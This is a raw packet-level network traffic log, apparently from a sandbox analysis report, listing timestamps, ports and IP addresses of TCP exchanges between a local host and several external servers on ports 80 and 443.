Aug 21, 2024 08:32:15.002372026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002383947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002424002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002464056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002470970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002477884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002484083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002522945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002522945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002564907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002572060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002577066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002585888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002599955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002609968 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002646923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002646923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002751112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002758026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002769947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002775908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002782106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002787113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002799034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002804041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002810001 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002810955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002818108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002849102 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002849102 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003067017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003081083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003087044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003092051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003097057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003109932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003117085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003123999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003150940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003163099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003170013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003170013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003184080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003189087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003216028 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003242016 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003546000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003576040 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:15.003629923 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:15.003640890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003669024 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:15.003669024 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:15.003679037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003684998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003696918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003701925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003707886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003714085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003720045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003726006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003729105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003730059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003743887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003757000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003773928 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003789902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003799915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003804922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003829002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003838062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003844023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003848076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003849030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003855944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003869057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003870964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003875971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003884077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003889084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.003902912 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003921986 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.003941059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.004107952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004113913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004123926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004129887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004137039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004143000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004148006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004153967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.004153967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.004187107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.006233931 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:15.006244898 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:15.061182976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061201096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061214924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061259031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061290979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061348915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061355114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061377048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061383963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061400890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061425924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061561108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061567068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061580896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061619043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061636925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061642885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061655045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061660051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061666965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061685085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061686039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061691999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061697960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061707973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061708927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061716080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061719894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061753035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061805010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061810970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061816931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061821938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061827898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061834097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061840057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.061846018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061875105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061899900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.061997890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062004089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062016010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062021017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062026024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062031031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062036991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062042952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062086105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062129974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062136889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062151909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062156916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062172890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062187910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062196016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062197924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062201023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062211990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062230110 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062242031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062393904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062406063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062418938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062424898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062431097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062442064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062448025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062452078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062453032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062458992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062463999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062479019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062505960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062684059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062690020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062701941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062706947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062712908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062726021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062731981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062737942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062738895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062743902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062764883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062778950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062803030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.062870979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.062927008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063087940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063189983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063194990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063206911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063213110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063250065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063276052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063306093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063311100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063317060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063349962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063365936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063416004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063421965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063426971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063442945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063448906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063456059 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063472033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063483000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063507080 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063519955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063525915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063536882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063543081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063549042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063554049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063560009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063560963 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063566923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063577890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063585997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063604116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063630104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063637018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063642979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063653946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063673019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063698053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063735008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063741922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063754082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063780069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063806057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063807964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063815117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063827038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063853025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063893080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063899994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063905954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063935041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.063982010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063987970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063993931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.063997984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064018965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064038038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064090967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064147949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064153910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064193964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064217091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064223051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064229012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064234972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064254045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064276934 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064310074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064316034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064327002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064337969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.064356089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.064387083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.075069904 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.075172901 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.075463057 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.075467110 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.075674057 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.075679064 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.083365917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083422899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083424091 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083431005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083477020 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083530903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083538055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083549023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083554983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083592892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083669901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083677053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083683014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083693981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083734035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083734989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083777905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083784103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083796978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083802938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.083836079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.083870888 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084021091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084027052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084038019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084043026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084048986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084060907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084067106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084079027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084081888 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084084988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084117889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084117889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084136963 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084309101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084316015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084326982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084332943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084337950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084342957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084348917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084353924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084361076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084381104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084384918 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084445953 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084537029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084542990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084554911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084575891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084582090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084588051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084592104 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084594011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084603071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084610939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084614992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084621906 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084623098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084621906 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084630966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084641933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084676981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084846973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084853888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084865093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084870100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084909916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084939003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.084970951 CEST	80	49720	147.45.44.104	192.168.2.6
